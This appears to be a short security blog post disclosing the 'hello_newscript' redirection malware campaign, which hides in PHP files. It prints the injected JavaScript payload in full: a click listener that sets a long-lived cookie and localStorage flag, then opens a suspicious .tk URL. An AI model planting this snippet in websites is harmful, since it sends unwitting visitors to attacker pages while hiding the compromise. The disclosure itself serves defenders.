Our security researchers have discovered a new redirection malware campaign dubbed 'hello_newscript malware' since the hacker has put 'hello_newscript' in the ID field of each value.

This malware campaign is unconventional in the sense that it targets crucial PHP files to hide the malware as opposed to the usual practice of injecting malware in the JavaScript files (see image below).

With the hello_newscript malware, hackers are storing the data in the browser locaal storage including the cookie details to make sure that the same user is not redirected multiple times in order to hide the hack longer.

localStorage.setItem('test', 'testValue'); if ((localStorage.getItem('test') !== null) && (localStorage.getItem('click') == null)){ var click_r = false; document.addEventListener("click", function(){ if(click_r == false){ var date = new Date();date.setTime(date.getTime()+(100*24*60*60*1000)); document.cookie = "a=a; expires=" + date.toGMTString(); localStorage.setItem('click', 'click'); window.open("http://cesitosmaram.tk/index/?7911586164333"); click_r = true; } }); }
